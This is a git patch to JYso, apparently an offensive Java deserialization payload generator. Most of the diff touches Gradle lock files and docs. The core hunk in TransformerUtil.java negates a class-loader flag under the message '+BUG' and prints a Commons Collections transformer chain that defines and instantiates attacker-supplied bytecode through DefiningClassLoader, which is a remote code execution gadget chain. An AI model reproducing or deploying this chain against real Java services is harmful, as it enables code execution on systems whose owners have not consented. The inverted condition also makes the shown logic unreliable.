From 54e5de4b0af1908091444b0c5fe69ddc69eccdae Mon Sep 17 00:00:00 2001 From: qi4L Date: Mon, 9 Sep 2024 22:32:17 +0800 Subject: [PATCH] +BUG --- .gradle/8.7/checksums/checksums.lock | Bin 17 -> 17 bytes .gradle/8.7/fileHashes/fileHashes.lock | Bin 17 -> 17 bytes .gradle/file-system.probe | Bin 8 -> 8 bytes .idea/compiler.xml | 1 - docs/directory_structure.md | 1 - .../JYso/gadgets/utils/cc/TransformerUtil.java | 2 +- 6 files changed, 1 insertion(+), 3 deletions(-) diff --git a/.gradle/8.7/checksums/checksums.lock b/.gradle/8.7/checksums/checksums.lock index 1aef14c8c6f104c47fbebcc4aea3adb48c6464e3..e8de4b81a674d7ea869b6a86308807d993c3ccf8 100644 GIT binary patch literal 17 VcmZP$ec`{&fn(=C1~6cD0{}FL1dadz literal 17 VcmZP$ec`{&fn(=C1~6cD0su6G1d0Fv diff --git a/.gradle/8.7/fileHashes/fileHashes.lock b/.gradle/8.7/fileHashes/fileHashes.lock index 7dc057780a8aae9c43d848982f14369235726865..434a7a6c78fa48f388f5f9ecb08d265529e2f095 100644 GIT binary patch literal 17 VcmZSPl;6L~QqST60~iQw001RF1JnQj literal 17 VcmZSPl;6L~QqST60~iRb0{|sG1JVEh diff --git a/.gradle/file-system.probe b/.gradle/file-system.probe index e3639a1abe5c70b729b0cdaf2d0da92464367347..1e6b18beea769561dbb476bcbba2a3eaa0419fc3 100644 GIT binary patch literal 8 PcmZQzV4S!^_ro~=2>1gw literal 8 PcmZQzV4S#mhT1d$2sr|h diff --git a/.idea/compiler.xml b/.idea/compiler.xml index 44d1c92..b413609 100644 --- a/.idea/compiler.xml +++ b/.idea/compiler.xml @@ -6,7 +6,6 @@ - diff --git a/docs/directory_structure.md b/docs/directory_structure.md index 3f7b78a..bb3a38a 100644 --- a/docs/directory_structure.md +++ b/docs/directory_structure.md @@ -1,4 +1,3 @@ -C:. ├─.gradle Gradle构建配置文件 │ ├─8.7 │ │ ├─checksums diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java index b7eb349..6f07a21 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java @@ -59,7 +59,7 @@ public class TransformerUtil { } else if (command.startsWith("EX-") || command.startsWith("LF-")) { CtClass ctClass = generateClass(command); - if (USING_MOZILLA_DEFININGCLASSLOADER) { + if (!USING_MOZILLA_DEFININGCLASSLOADER) { // 使用 DefiningClassLoader 加载,不是所有 JDK 均有 org.mozilla.javascript.DefiningClassLoader // 在 NC 中可以使用 transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};